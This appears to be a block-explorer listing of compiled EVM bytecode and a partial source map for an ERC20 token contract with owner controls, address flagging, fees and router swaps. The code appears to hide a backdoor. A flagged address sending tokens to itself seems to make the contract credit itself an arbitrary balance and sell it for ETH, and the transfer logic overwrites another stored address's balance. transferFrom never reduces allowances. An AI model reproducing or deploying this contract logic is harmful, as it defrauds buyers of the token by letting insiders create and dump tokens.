067ffffffffffffffff811115611f2c57611f2b611eef565b5b602083019150836020820283011115611f4857611f47611ef4565b5b9250929050565b60008060208385031215611f6657611f65611d59565b5b600083013567ffffffffffffffff811115611f8457611f83611d5e565b5b611f9085828601611ef9565b92509250509250929050565b600060208284031215611fb257611fb1611d59565b5b6000611fc084828501611de2565b91505092915050565b600060208284031215611fdf57611fde611d59565b5b6000611fed84828501611dac565b91505092915050565b611fff81611d83565b82525050565b600060208201905061201a6000830184611ff6565b92915050565b6000806040838503121561203757612036611d59565b5b600061204585828601611dac565b925050602061205685828601611dac565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120a757607f821691505b6020821081036120ba576120b9612060565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120f6602083611cb2565b9150612101826120c0565b602082019050919050565b60006020820190508181036000830152612125816120e9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061216682611dc1565b915061217183611dc1565b92508282019050808211156121895761218861212c565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006121c982611dc1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036121fb576121fa61212c565b5b600182019050919050565b600061221182611dc1565b915061221c83611dc1565b92508282039050818111156122345761223361212c565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612296602583611cb2565b91506122a18261223a565b604082019050919050565b600060208201905081810360008301526122c581612289565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612328602383611cb2565b9150612333826122cc565b604082019050919050565b600060208201905081810360008301526123578161231b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061239c81611d95565b92915050565b6000602082840312156123b8576123b7611d59565b5b60006123c68482850161238d565b91505092915050565b6000819050919050565b6000819050919050565b60006123fe6123f96123f4846123cf565b6123d9565b611dc1565b9050919050565b61240e816123e3565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61244981611d83565b82525050565b600061245b8383612440565b60208301905092915050565b6000602082019050919050565b600061247f82612414565b612489818561241f565b935061249483612430565b8060005b838110156124c55781516124ac888261244f565b97506124b783612467565b925050600181019050612498565b5085935050505092915050565b600060a0820190506124e76000830188611e6d565b6124f46020830187612405565b81810360408301526125068186612474565b90506125156060830185611ff6565b6125226080830184611e6d565b9695505050505050565b60006040820190506125416000830185611ff6565b61254e6020830184611ff6565b9392505050565b600061256082611dc1565b915061256b83611dc1565b925082820261257981611dc1565b915082820484148315176125905761258f61212c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006125d182611dc1565b91506125dc83611dc1565b9250826125ec576125eb612597565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612653602183611cb2565b915061265e826125f7565b604082019050919050565b6000602082019050818103600083015261268281612646565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b60006126bf601a83611cb2565b91506126ca82612689565b602082019050919050565b600060208201905081810360008301526126ee816126b2565b905091905056fea2646970667358221220672aab31fde792b3363d1cff7a97aa7b85ce76daf68a27320e79d14cff2ab16364736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101375760003560e01c80635d0044ca116100b857806395d89b411161007c57806395d89b41146103065780639601f96c14610324578063a457c2d714610354578063a9059cbb14610384578063bc337182146103b4578063dd62ed3e146103d057610137565b80635d0044ca1461028857806370a08231146102a4578063715018a6146102d4578063751039fc146102de5780638da5cb5b146102e857610137565b8063313ce567116100ff578063313ce567146101e257806332424aa314610200578063395093511461021e5780633eaaf86b1461024e57806351177e291461026c57610137565b806306fdde031461013c578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101a85780632f5f2572146101d8575b600080fd5b610144610400565b6040516101519190611d37565b60405180910390f35b610174600480360381019061016f9190611df7565b610492565b6040516101819190611e52565b60405180910390f35b6101926104a9565b60405161019f9190611e7c565b60405180910390f35b6101c260048036038101906101bd9190611e97565b6104b3565b6040516101cf9190611e52565b60405180910390f35b6101e0610554565b005b6101ea6105d3565b6040516101f79190611e7c565b60405180910390f35b6102086105dd565b6040516102159190611e7c565b60405180910390f35b61023860048036038101906102339190611df7565b6105e3565b6040516102459190611e52565b60405180910390f35b610256610681565b6040516102639190611e7c565b60405180910390f35b61028660048036038101906102819190611f4f565b610687565b005b6102a2600480360381019061029d9190611f9c565b6107a0565b005b6102be60048036038101906102b99190611fc9565b61081f565b6040516102cb9190611e7c565b60405180910390f35b6102dc610868565b005b6102e661099b565b005b6102f0610a24565b6040516102fd9190612005565b60405180910390f35b61030e610a4d565b60405161031b9190611d37565b60405180910390f35b61033e60048036038101906103399190612020565b610adf565b60405161034b9190611e52565b60405180910390f35b61036e60048036038101906103699190611df7565b610b3e565b60405161037b9190611e52565b60405180910390f35b61039e60048036038101906103999190611df7565b610c65565b6040516103ab9190611e52565b60405180910390f35b6103ce60048036038101906103c99190611f9c565b610c7c565b005b6103ea60048036038101906103e59190612020565b610cfb565b6040516103f79190611e7c565b60405180910390f35b60606009805461040f9061208f565b80601f016020809104026020016040519081016040528092919081815260200182805461043b9061208f565b80156104885780601f1061045d57610100808354040283529160200191610488565b820191906000526020600020905b81548152906001019060200180831161046b57829003601f168201915b5050505050905090565b600061049f338484610d82565b6001905092915050565b6000600654905090565b60006104c0848484610f4b565b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561054957600080fd5b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610573610a24565b73ffffffffffffffffffffffffffffffffffffffff16146105c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c09061210c565b60405180910390fd5b6000600781905550565b6000600554905090565b60055481565b6000610677338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610672919061215b565b610d82565b6001905092915050565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff166106a6610a24565b73ffffffffffffffffffffffffffffffffffffffff16146106fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f39061210c565b60405180910390fd5b60005b8282905081101561079b5760018060008585858181106107225761072161218f565b5b90506020020160208101906107379190611fc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610793906121be565b9150506106ff565b505050565b3373ffffffffffffffffffffffffffffffffffffffff166107bf610a24565b73ffffffffffffffffffffffffffffffffffffffff1614610815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080c9061210c565b60405180910390fd5b80600b8190555050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610887610a24565b73ffffffffffffffffffffffffffffffffffffffff16146108dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d49061210c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff166109ba610a24565b73ffffffffffffffffffffffffffffffffffffffff1614610a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a079061210c565b60405180910390fd5b600654600b81905550600654600c81905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610a5c9061208f565b80601f0160208091040260200160405190810160405280929190818152602001828054610a889061208f565b8015610ad55780601f10610aaa57610100808354040283529160200191610ad5565b820191906000526020600020905b815481529060010190602001808311610ab857829003601f168201915b5050505050905090565b60008273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b3357610b1d826112a7565b15610b3257610b2b836112a7565b9050610b38565b5b600090505b92915050565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bc957600080fd5b610c5b338484600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c569190612206565b610d82565b6001905092915050565b6000610c72338484610f4b565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610c9b610a24565b73ffffffffffffffffffffffffffffffffffffffff1614610cf1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce89061210c565b60405180910390fd5b80600c8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610df1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de8906122ac565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e579061233e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f3e9190611e7c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f8457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610fbd57600080fd5b610fc78383610adf565b15610fdb57610fd681836112fd565b6112a2565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561102757600080fd5b600080611033856115c7565b90508060036000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006110a786866117a5565b905080156110da576110d760646110c96007548761195590919063ffffffff16565b6119cf90919063ffffffff16565b92505b83600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111259190612206565b600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082846111749190612206565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111c2919061215b565b92505081905550600083111561123957600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112309190611e7c565b60405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516112969190611e7c565b60405180910390a35050505b505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61132a30600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d82565b81600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff81111561138b5761138a61235e565b5b6040519080825280602002602001820160405280156113b95781602001602082028036833780820191505090505b5090506001600260146101000a81548160ff02191690831515021790555030816000815181106113ec576113eb61218f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611493573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114b791906123a2565b816001815181106114cb576114ca61218f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e42611555919061215b565b6040518663ffffffff1660e01b81526004016115759594939291906124d2565b600060405180830381600087803b15801561158f57600080fd5b505af11580156115a3573d6000803e3d6000fd5b505050506000600260146101000a81548160ff021916908315150217905550505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611637573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165b91906123a2565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116e4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061170891906123a2565b6040518363ffffffff1660e01b815260040161172592919061252c565b602060405180830381865afa158015611742573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061176691906123a2565b905061179d8382611798600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661081f565b611a2d565b915050919050565b600061194d8383600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611819573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183d91906123a2565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156118c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ea91906123a2565b6040518363ffffffff1660e01b815260040161190792919061252c565b602060405180830381865afa158015611924573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194891906123a2565b611a8b565b905092915050565b600080830361196757600090506119c9565b600082846119759190612555565b905082848261198491906125c6565b146119c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119bb90612669565b60405180910390fd5b809150505b92915050565b6000808211611a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0a906126d5565b60405180910390fd5b60008284611a2191906125c6565b90508091505092915050565b60008082905060008473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614611a7057839150611a7f565b8082611a7c9190612555565b91505b81925050509392505050565b600080600260149054906101000a900460ff1690506000611b00600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611afb886112a7565b611c91565b90506000819050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611bb35750611bb2600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1684611c91565b5b8015611beb57508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b15611c3a5785600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050611c84565b818015611c45575082155b15611c83578573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603611c8257600190505b5b5b8093505050509392505050565b600082158015611c9f575081155b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ce1578082015181840152602081019050611cc6565b60008484015250505050565b6000601f19601f8301169050919050565b6000611d0982611ca7565b611d138185611cb2565b9350611d23818560208601611cc3565b611d2c81611ced565b840191505092915050565b60006020820190508181036000830152611d518184611cfe565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8e82611d63565b9050919050565b611d9e81611d83565b8114611da957600080fd5b50565b600081359050611dbb81611d95565b92915050565b6000819050919050565b611dd481611dc1565b8114611ddf57600080fd5b50565b600081359050611df181611dcb565b92915050565b60008060408385031215611e0e57611e0d611d59565b5b6000611e1c85828601611dac565b9250506020611e2d85828601611de2565b9150509250929050565b60008115159050919050565b611e4c81611e37565b82525050565b6000602082019050611e676000830184611e43565b92915050565b611e7681611dc1565b82525050565b6000602082019050611e916000830184611e6d565b92915050565b600080600060608486031215611eb057611eaf611d59565b5b6000611ebe86828701611dac565b9350506020611ecf86828701611dac565b9250506040611ee086828701611de2565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611f0f57611f0e611eea565b5b8235905067ffffffffffffffff811115611f2c57611f2b611eef565b5b602083019150836020820283011115611f4857611f47611ef4565b5b9250929050565b60008060208385031215611f6657611f65611d59565b5b600083013567ffffffffffffffff811115611f8457611f83611d5e565b5b611f9085828601611ef9565b92509250509250929050565b600060208284031215611fb257611fb1611d59565b5b6000611fc084828501611de2565b91505092915050565b600060208284031215611fdf57611fde611d59565b5b6000611fed84828501611dac565b91505092915050565b611fff81611d83565b82525050565b600060208201905061201a6000830184611ff6565b92915050565b6000806040838503121561203757612036611d59565b5b600061204585828601611dac565b925050602061205685828601611dac565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806120a757607f821691505b6020821081036120ba576120b9612060565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006120f6602083611cb2565b9150612101826120c0565b602082019050919050565b60006020820190508181036000830152612125816120e9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061216682611dc1565b915061217183611dc1565b92508282019050808211156121895761218861212c565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006121c982611dc1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036121fb576121fa61212c565b5b600182019050919050565b600061221182611dc1565b915061221c83611dc1565b92508282039050818111156122345761223361212c565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612296602583611cb2565b91506122a18261223a565b604082019050919050565b600060208201905081810360008301526122c581612289565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612328602383611cb2565b9150612333826122cc565b604082019050919050565b600060208201905081810360008301526123578161231b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061239c81611d95565b92915050565b6000602082840312156123b8576123b7611d59565b5b60006123c68482850161238d565b91505092915050565b6000819050919050565b6000819050919050565b60006123fe6123f96123f4846123cf565b6123d9565b611dc1565b9050919050565b61240e816123e3565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61244981611d83565b82525050565b600061245b8383612440565b60208301905092915050565b6000602082019050919050565b600061247f82612414565b612489818561241f565b935061249483612430565b8060005b838110156124c55781516124ac888261244f565b97506124b783612467565b925050600181019050612498565b5085935050505092915050565b600060a0820190506124e76000830188611e6d565b6124f46020830187612405565b81810360408301526125068186612474565b90506125156060830185611ff6565b6125226080830184611e6d565b9695505050505050565b60006040820190506125416000830185611ff6565b61254e6020830184611ff6565b9392505050565b600061256082611dc1565b915061256b83611dc1565b925082820261257981611dc1565b915082820484148315176125905761258f61212c565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006125d182611dc1565b91506125dc83611dc1565b9250826125ec576125eb612597565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612653602183611cb2565b915061265e826125f7565b604082019050919050565b6000602082019050818103600083015261268281612646565b9050919050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b60006126bf601a83611cb2565b91506126ca82612689565b602082019050919050565b600060208201905081810360008301526126ee816126b2565b905091905056fea2646970667358221220672aab31fde792b3363d1cff7a97aa7b85ce76daf68a27320e79d14cff2ab16364736f6c63430008120033

Deployed Bytecode Sourcemap

3896:5489:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6729:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7185:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6980:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8974:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4959:67;;;:::i;:::-;;6901:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4100:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5032:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4135:58;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2761:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4609:94;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7074:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2463:148;;;:::i;:::-;;4836:117;;;:::i;:::-;;2246:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6820:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3040:249;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5249:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8795:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4744:86;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4413:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6729:85;6768:13;6801:5;6794:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6729:85;:::o;7185:167::-;7268:4;7285:37;7294:10;7306:7;7315:6;7285:8;:37::i;:::-;7340:4;7333:11;;7185:167;;;;:::o;6980:88::-;7035:7;7053:12;;7046:19;;6980:88;:::o;8974:244::-;9078:4;9095:34;9105:4;9111:9;9122:6;9095:9;:34::i;:::-;9181:6;9148:11;:17;9160:4;9148:17;;;;;;;;;;;;;;;:29;9166:10;9148:29;;;;;;;;;;;;;;;;:39;;9140:48;;;;;;9206:4;9199:11;;8974:244;;;;;:::o;4959:67::-;2390:10;2379:21;;:7;:5;:7::i;:::-;:21;;;2371:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;5017:1:::1;5010:4;:8;;;;4959:67::o:0;6901:73::-;6944:7;6962:9;;6955:16;;6901:73;:::o;4100:28::-;;;;:::o;5032:211::-;5120:4;5137:76;5146:10;5158:7;5202:10;5167:11;:23;5179:10;5167:23;;;;;;;;;;;;;;;:32;5191:7;5167:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;5137:8;:76::i;:::-;5231:4;5224:11;;5032:211;;;;:::o;4135:58::-;;;;:::o;2761:173::-;2390:10;2379:21;;:7;:5;:7::i;:::-;:21;;;2371:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2844:6:::1;2839:88;2860:5;;:12;;2856:1;:16;2839:88;;;2911:4;2894::::0;:14:::1;2899:5;;2905:1;2899:8;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;2894:14;;;;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;2874:3;;;;;:::i;:::-;;;;2839:88;;;;2761:173:::0;;:::o;4609:94::-;2390:10;2379:21;;:7;:5;:7::i;:::-;:21;;;2371:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4689:6:::1;4677:9;:18;;;;4609:94:::0;:::o;7074:105::-;7140:7;7158:9;:18;7168:7;7158:18;;;;;;;;;;;;;;;;7151:25;;7074:105;;;:::o;2463:148::-;2390:10;2379:21;;:7;:5;:7::i;:::-;:21;;;2371:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;2570:1:::1;2533:40;;2554:6;::::0;::::1;;;;;;;;2533:40;;;;;;;;;;;;2601:1;2584:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2463:148::o:0;4836:117::-;2390:10;2379:21;;:7;:5;:7::i;:::-;:21;;;2371:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4902:12:::1;;4890:9;:24;;;;4933:12;;4925:5;:20;;;;4836:117::o:0;2246:87::-;2292:7;2319:6;;;;;;;;;;;2312:13;;2246:87;:::o;6820:75::-;6861:13;6885:7;6878:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6820:75;:::o;3040:249::-;3115:4;3148:6;3136:18;;:8;:18;;;3132:127;;3176:15;3182:8;3176:5;:15::i;:::-;3172:76;;;3219:13;3225:6;3219:5;:13::i;:::-;3212:20;;;;3172:76;3132:127;3276:5;3269:12;;3040:249;;;;;:::o;5249:253::-;5330:4;5388:6;5355:11;:23;5367:10;5355:23;;;;;;;;;;;;;;;:29;5379:4;5355:29;;;;;;;;;;;;;;;;:39;;5347:48;;;;;;5406:66;5415:10;5427:4;5465:6;5433:11;:23;5445:10;5433:23;;;;;;;;;;;;;;;:29;5457:4;5433:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;5406:8;:66::i;:::-;5490:4;5483:11;;5249:253;;;;:::o;8795:173::-;8881:4;8898:40;8908:10;8920:9;8931:6;8898:9;:40::i;:::-;8956:4;8949:11;;8795:173;;;;:::o;4744:86::-;2390:10;2379:21;;:7;:5;:7::i;:::-;:21;;;2371:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4816:6:::1;4808:5;:14;;;;4744:86:::0;:::o;4413:151::-;4502:7;4529:11;:18;4541:5;4529:18;;;;;;;;;;;;;;;:27;4548:7;4529:27;;;;;;;;;;;;;;;;4522:34;;4413:151;;;;:::o;7358:346::-;7477:1;7460:19;;:5;:19;;;7452:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7559:1;7540:21;;:7;:21;;;7532:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7642:6;7612:11;:18;7624:5;7612:18;;;;;;;;;;;;;;;:27;7631:7;7612:27;;;;;;;;;;;;;;;:36;;;;7680:7;7664:32;;7673:5;7664:32;;;7689:6;7664:32;;;;;;:::i;:::-;;;;;;;;7358:346;;;:::o;5508:854::-;5621:1;5605:18;;:4;:18;;;5597:27;;;;;;5657:1;5643:16;;:2;:16;;;5635:25;;;;;;5675:20;5686:4;5692:2;5675:10;:20::i;:::-;5671:684;;;5712:16;5717:6;5725:2;5712:4;:16::i;:::-;5671:684;;;5779:9;:15;5789:4;5779:15;;;;;;;;;;;;;;;;5769:6;:25;;5761:34;;;;;;5810:11;5840:19;5862:22;5879:4;5862:16;:22::i;:::-;5840:44;;5926:11;5899:9;:24;5909:13;;;;;;;;;;;5899:24;;;;;;;;;;;;;;;:38;;;;5952:8;5963:23;5977:4;5983:2;5963:13;:23::i;:::-;5952:34;;6006:3;6001:98;;;6058:25;6079:3;6058:16;6069:4;;6058:6;:10;;:16;;;;:::i;:::-;:20;;:25;;;;:::i;:::-;6052:31;;6001:98;6149:6;6131:9;:15;6141:4;6131:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;6113:9;:15;6123:4;6113:15;;;;;;;;;;;;;;;:42;;;;6196:3;6187:6;:12;;;;:::i;:::-;6170:9;:13;6180:2;6170:13;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;6224:1;6218:3;:7;6214:84;;;6274:1;6251:31;;6260:4;6251:31;;;6278:3;6251: